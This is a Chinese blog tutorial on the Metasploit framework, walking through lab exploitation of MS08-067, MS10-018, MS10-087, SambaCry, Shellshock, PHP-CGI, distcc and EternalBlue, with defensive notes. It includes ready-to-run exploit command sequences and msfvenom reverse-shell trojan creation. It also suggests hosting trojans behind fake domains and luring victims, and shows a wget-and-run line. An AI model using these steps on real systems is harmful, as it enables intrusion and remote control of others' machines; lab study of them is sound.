[漏洞利用]MSF框架使用

1、框架目录结构

MSF框架在kali机的/usr/share/metasploit-framework/目录:

  • Modules:用户用到的各种模块几乎都在这里,用户使用use这个msf这里时,就是用到了这个目
    录下的模块。
  • Data:不需要关注。
  • Plugins:这里的模块用户需要使用load 来加载,提供数据库连接插件,和各种要用到的插件。
  • Scripts:这个目录下的文件大都是Meterpreter这个模块利用的脚本。
  • Tools:包含一些有用的脚本和零散的工具。

了解即可。


2、MSF基本命令

使用msfconsole打开使用框架,有msf6 >就进入了

帮助

? [你需要了解的命令]
[你需要了解的命令] -h

search

搜索一些模块,比如你信息搜集到了目标机的型号版本,有对应的漏洞就search一下,看有没有可以利用的模块:

search ms17_010
永恒之蓝

use

使用模块,搜到了对应模块,复制名字使用它:

use exploit/windows/smb/ms17_010_eternalblue

show options

查看使用模块要配置的参数


back

从环境返回:


connect

连接一个主机,比如:

connect www.baidu.com 80

info

显示一个或多个模块的信息:

info exploit/windows/smb/ms17_010_eternalblue

jobs

显示和管理作业(和windows任务管理器的进程作用一样):


sessions

显示任务,-i 选择对应任务序号进入

sessions
sessions -i [对应序号]

quit/exit

退出msf


3、MSF渗透测试

网络服务器攻击渗透(MS08-067)

靶机:WinXPenSP3

命令汇总

假设我们信息搜集到目标机有这个漏洞。

msfconsole
search ms08_067
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST [目标机IP]
run
shell
net user
net user test test /add
net user
net user test /del

操作实现

use的时候可能会失败,多试几次。


获取shell后可以进行命令行操作了。


漏洞原理

详细原理参见MS08-067漏洞原理及详尽分析过程-来自FreeBuf.COM

a.漏洞利用条件与影响

  • 影响系统:Windows 2000、XP、Server 2003等早期版本的系统,未安装2008年10月发布的补丁(KB958644)。查看Windows安装的补丁使用systeminfo命令。
  • 利用限制:默认配置下,Windows XP的防火墙会阻止外部RPC连接,但若启用文件共享或禁用防火墙则漏洞可被远程利用。Windows Vista及更高版本需通过身份验证。

b.防御措施

  • 补丁修复:安装微软官方补丁KB958644是根本解决方案。
  • 网络配置:关闭445端口、启用防火墙限制SMB服务的外部访问。
  • 流量监控:检测包含恶意路径的SMB流量,例如使用正则表达式匹配异常路径模式。

浏览器攻击渗透(MS10-018)

靶机:WinXPenSP3

命令汇总

msfconsole
use exploit/windows/browser/ms10_018_ie_behaviors
set SRVHOST [kali自己的ip]
set PAYLOAD windows/meterpreter/bind_tcp
set LPORT 4441
exploit -j
#等待靶机访问网址
jobs
sessions
sessions -i [对应序号]
shell

操作实现

kali执行后会生成一个网址 http://192.168.49.128:8080/Uh3ioGYIMwxK (不固定),使用靶机IE访问,访问成功后,使用命令就能得到shell:

漏洞原理

详见浏览器攻击渗透(MS10-018)-CSDN博客

a.漏洞利用链

  • 触发组件:IE 6/7/8版本中集成的Tabular Data Control(TDC)ActiveX控件,用于处理表格数据加载(如CSV文件)。
  • 初始阶段:用户访问恶意网页或点击钓鱼链接,触发IE加载包含恶意TDC脚本的HTML页面。
  • 内存布局操控:通过JavaScript动态分配内存,精确布置Shellcode地址。
  • 控制流劫持:利用内存损坏覆盖虚函数表(vtable)或返回地址,跳转至攻击者预设的指令(如JMP ESP 指令)。

b.防御措施

1.官方补丁修复

  • 补丁编号:微软通过安全公告MS10-018发布修复补丁(KB980182),更新TDC控件的内存处理逻辑。
  • 补丁验证:安装后,攻击尝试会因内存保护机制失效而无法触发Shellcode。

2.临时缓解方案

  • 禁用ActiveX控件:通过IE安全设置禁用TDC控件(CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83)
  • 启用DEP/ASLR:在高级IE设置中强制启用数据执行保护和地址空间随机化。

应用软件格式渗透 利用word去渗透(MS10-087)

靶机:WinXPenSP3

命令汇总

msfconsole
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set payload windows/exec
set CMD calc.exe    #可以写恶意语句
set FILENAME ceshi.rtf
run

操作实现

运行命令后会生成一个 ceshi.rtf 的文件,给出了路径,想办法把它移到靶机上,渗透的话就是用一些社会工程学,然后靶机运行次文件就会执行set CMD calc.exe设置好的命令打开计算器。

漏洞原理

详见MS10_087漏洞学习研究-燃烧少年的心-博客园

a.漏洞影响范围

  • 操作系统:Windows XP SP3、Windows Server 2003、Vista、7。
  • Office版本:Office 2003 SP3、2007 SP2、2010、Mac版Office 2004-2011.

b.防御措施

1.官方补丁修复

  • 补丁编号:KB2423930(MS10-087)修复了mso.dll中的路径处理逻辑,增加输入长度校验并重构栈缓冲区分配策略。
  • 补丁验证:使用 Bindiff 对比补丁前后DLL文件,可发现关键函数(如 Canonicalize PathName)的指令修改。

2.临时缓解方案

  • 禁用RTF解析:通过组策略禁用Word的RTF文件解析功能(设置路径:HKCU\Software\Microsoft\Office\...\Word\Security)。
  • 启用防护机制:强制启用DEP(Data Execution Prevention)和Office沙箱(Protected View)

利用samba服务漏洞入侵Linux主机(CVE-2017-7494)

靶机:vulhub

命令汇总

#vuehub上使用root执行(密码root1234%)
cd /home/enjoy/vulhub-master/samba/CVE-2017-7494
docker-compose up -d
#kali执行
msfconsole
use exploit/linux/samba/is_known_pipename
set RHOSTS [ubuntu_ip]
run
id

操作实现

vulhub操作

kali操作

漏洞原理

详见【漏洞分析】Samba远程代码执行漏洞(CVE-2017-7494)-漏
SambaCry分析报告

a.漏洞影响范围

  • 可写共享目录:攻击者需具备对Samba共享目录的写入权限(如匿名访问或弱口令账户)。
  • Samba版本范围:影响Samba 3.5.0至4.6.4/4.5.10/4.4.14之间的所有未修补版本。

b.防御措施

1.官方补丁修复

  • 升级至Samba 4.6.4/4.5.10/4.4.14或更高版本,修补 is_known_pipename 函数的路径验证逻辑。
  • 验证方法:使用命令 smbd--version 确认版本,或检查补丁文件(如lib/pipes.c中的路径限制代码)。

2.临时缓解方案

  • 禁用命名管道支持:在Samba配置文件 smb.conf 的[global]段添加 nt pipe supp ort = no 并重启服务。
  • 限制共享目录权限:设置共享目录为只读,避免攻击者上传恶意文件。

3.网络语行为防护

  • 防火墙策略:限制外部对445端口的访问,仅允许可信IP连接。
  • 入侵检测规则:监控SMB流量中的异常路径请求(如包含/符号的管道名称)。
  • 权限最小化:以非root用户运行Samba服务,降低漏洞利用后的危害。

Bash Shellshock(破壳CVE-2014-6271)

靶机:vulhub

命令汇总

#vulhub上使用root执行
docker-compose down
cd /home/enjoy/vulhub-master/bash/shellshock
docker-compose build
docker-compose up -d
docker-compose config
#访问http://[vulhub_ip]:8080/victim.cgi成功即可
 
#kali执行
msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS [vulhub_ip]
set RPORT 8080
set TARGETURI /victim.cgi
run
shell
id

操作实现

vulhub操作

访问url成功

kali成功拿到shell

漏洞原理

详见CVE-2014-6271(shellshock破壳漏洞)-toby123-博客园ShellShock漏洞原理分析-阿里云开发者社区

a.漏洞影响范围

  • 操作系统:所有使用Bash 1.14至4.3版本的Linux/Unix系统,包括Red Hat、Centos、Ubuntu、Debian、Fedora、Mac OS × 10.10等。
  • 容器与IoT设备:Docker镜像、嵌入式Linux设备(如路由器)因长期未更新Bash版本成为重灾区。

b.防御措施

1.官方补丁修复

  • 补丁机制:通过修改 parse_and_execute 函数,增加 SEVAL_FUNCDEF 和 SEVAL_ON ECMD 标志,限制环境变量仅能包含单一函数定义,禁止附加额外命令。
  • 验证方法:
bash --version # 确认版本≥4.3-013
env x='() { :;}; echo Vulnerable' bash -c "echo test" # 输出应为"test"而非"Vulnerable"

2.临时缓解方案

  • 禁用Bash函数导出:
set -f #禁用函数导出(需修改系统启动脚本)
配置Web服务器过滤规则:
  Apache:使用 mod_security 模块拦截包含 () { 的HTTP头。
  Nginx:正则匹配并拒绝恶意请求。

3.纵深防御体系

  • 权限隔离:以非特权用户运行Web服务(如[www-data](https://www-data)),限制Bash执行权限。
  • 入侵检测(IDS):监控网络流量中的异常环境变量模式(如() {字符串)。
  • 容器安全:使用Alpine Linux等不依赖Bash的轻量级基础镜像。

PHP CGI漏洞利用(CVE-2012-1823)

靶机:vulhub

命令汇总

#vuehub上使用root执行
docker-compose down
cd /home/enjoy/vulhub-master/php/CVE-2012-1823
docker-compose build
docker-compose up -d
docker-compose config
#环境启动后,访问 http://[vulhub_ip]:8080/ 可见“Hello”字样。
#访问 http://[vulhub_ip]:8080/index.php?-s 即爆出源码,说明漏洞存在。
 
#kali执行
msfconsole
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS [vulhub_ip]
set RPORT 8080
run
shell
id

操作实现

vulhub上操作后浏览器访问链接爆出源码,漏洞存在。



kali获取shell

漏洞原理

详见PHP-CGI远程代码执行漏洞(CVE-2012-1823)-AllFalls-博客园CVE-2024-4577 分析与复现

a.漏洞影响范围

  • PHP版本:5.0.0<PHP<5.3.11,5.4.0<PHP<5.4.1
  • 操作系统:所有使用PHP-CGI的Linux/Unix及Windows系统(如XAMPP环境)。

b.防御措施

1.官方补丁修复

  • 修复版本:PHP 5.3.12、5.4.2及更高版本。
  • 补丁机制:在 main() 函数中增加参数过滤逻辑,禁止将查询字符串解析为命令行参数。

2.临时缓解方案

  • 禁用PHP-CGI模式:改用FastCGI(PHP-FPM)或模块化集成模式(如mod_php)。
  • 配置Web服务器过滤规则:
    Apache:使用 mod_rewrite 拦截包含-d-s 等参数的请求。
    Nginx:通过正则表达式匹配并拒绝异常查询字符串。
  • 权限隔离:以非特权用户(如[www-data](https://www-data))运行PHP进程,限制命令执行能力。

3.入侵检测与监控

  • 日志分析:监控访问日志中异常的?-d?-s模式。
  • 行为检测:识别PHP进程执行系统命令(如 system()exec())的异常行为。

Distcc后门漏洞(CVE-2004-2678)

靶场:Metasploitable2-Linux 用户名/密码 msfadmin/msfadmin

distcc是谷歌开源的一个编译器,将编译任务分解成多个子任务

命令汇总

use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost [ms_ip]
set lhost [kali_ip]
exploit (run也可以)
id

操作实现

打开ms靶机,kali机设置好就可以拿到shell了:


漏洞原理

Distcc的核心作用:Distcc是一种用于分布式编译的开源工具,允许将大型代码项目(如Linux内核)的编译任务分割到多台服务器并行处理,从而加速构建过程。其默认监听端口为3632,客户端通过TCP协议与服务器通信,发送编译指令(如gcc命令)和代码片段。
漏洞核心原理:配置缺陷与命令注入

  • 配置不严格的安全边界
    默认开放访问:早期Distcc版本(如2.x)在默认配置中未对客户端IP进行限制,允许任意主机连接至3632端口。
    命令执行权限:distccd服务以高权限用户(如root)运行,编译过程中可执行系统命令(如调用 gcc、make)。
  • 恶意编译指令注入
    攻击者可构造包含Shell命令的编译请求,利用Distcc对客户端指令的信任机制,绕过输入验证直接执行。例如:
distccd --job-args "malicious_command"

服务端解析指令时,未对--job-args参数进行过滤,导致命令注入。

  • 漏洞触发场景
    直接连接:攻击者通过 nc或自定义脚本连接至目标3632端口,发送恶意编译指令。
    反射攻击:在复杂网络环境中,攻击者可利用中间服务器转发恶意请求,规避IP黑名单限制。

a.漏洞影响范围

  • Distcc版本:2.x系列(如2.1、2.2)及集成了Distcc的Xcode 1.5版本。
  • 操作系统:Linux、Unix及macOS系统(依赖Distcc的编译环境)。

b.防御措施

1.官方补丁修复

  • 升级至Distcc 3.0及以上版本,修复默认配置的开放访问问题。
  • 验证命令:distccd --version,确认版本号>3.0。

2.网络与配置加固

  • 访问控制:在 distccd 配置文件中限制允许连接的客户端IP(如--allow 192.168.1.0/24)。
  • 权限降级:以非特权用户(如distcc)运行服务,限制命令执行能力。
  • 防火墙策略:关闭非必要的3632端口,或限制其仅在内网开放。
    3.入侵检测与响应
  • 流量监控:分析3632端口的通信数据,检测异常编译指令(如包含/bin/shcurl)。
  • 日志审计:定期检查/var/log/distccd.log中的编译请求来源和参数。

Metasploit永恒之蓝(ms17_010)

靶机:有漏洞的Windows7

命令汇总

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set rhosts [win_ip]
set LHOST 0.0.0.0
set payload windows/x64/shell/bind_tcp
run
ls
run vnc
shell

操作实现

在kali机上操作了命令之后就能使用Windows的命令行了


使用run vnc命令可以监控设备屏幕:

获取的是system权限

漏洞原理

详见MS17-010 漏洞研究--免考课题 20155104 赵文昊-囚月-博客园

a.漏洞影响范围

  • Windows客户端:XP、Vista、7、8、10(2017年3月前版本)。
  • Windows服务器:2003、2008、2008 R2、2012(未安装KB4013389补丁)。

b.防御措施

1.官方补丁修复

  • 安装微软官方补丁KB4013389(MS17-010),重构SMB协议的内存处理逻辑。
  • 验证命令:Get-Hotfix -Id KB4013389 #检查补丁安装状态

2.网络层防护

  • 关闭SMBv1协议:Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
  • 防火墙策略:阻断入站445端口的非必要访问(企业内网需保留时启用IP白名单)。
    3..纵深防御体系
  • 启用SMB签名:强制所有SMB通信使用数字签名,防止中间人攻击。
  • 应用控制策略:通过组策略限制未知进程的内核操作权限。
  • 内存保护技术:启用HVCI(基于虚拟化的安全)和CFG(控制流防护)。

Metasploit病毒制作控制电脑

Windows攻击流程

1.kali机操作

在kali机打开msf:msfconsole

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=8888 -f exe > payload.exe
  -p:有效载荷
  LHOST:kali_ip
  LPORT:监听端口(不要与已使用端口重复)
  -f:生成木马类型
  >:保存文件名(生成文件在家目录下)

命令可通过网页反弹shell生成。


放置木马至网站根目录:

启动apache服务:

service apache2 start

通过ip地址访问网站:



则木马下载路径为192.168.49.128/payload.exe(可以注册一些假域名装扮页面)



攻击机开启监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp(载荷要与生成木马的相同)
set lhost [kali_ip](192.168.49.128,与木马相同)
set lport 制造木马对应的监听端口(8888,与木马相同)

2.Windows靶机受控

win运行下载的木马


获取shell权限:shell,乱码使用chcp 65001临时消除:


Linux攻击流程

1.kali机操作

生成木马:

msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.49.128 LPORT=9999 -f elf -o shell.elf
    -p:有效载荷
    LHOST:kali_ip
    LPORT:监听端口(不要与已使用端口重复)
    -f:生成木马类型
    -o:保存文件名(生成文件在家目录下)

同样放置木马至网站根目录,然后kali开启监听:

mv /home/kali/shell.elf /var/www/html/shell.elf
service apache2 start

use exploit/multi/handler
set payload linux/x64/shell/reverse_tcp
set lhost 192.168.49.128(kali_ip)
set lport 9999(监听端口)
run

2.Linux靶机受控

下载文件并运行,命令可通过网页文件下载生成,无端口不要写端口号

wget http://192.168.49.128:/shell.elf -O ~/shell.elf
sudo chmod 755 shell.elf
./shell.elf
这样木马就运行了

kali端上线

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容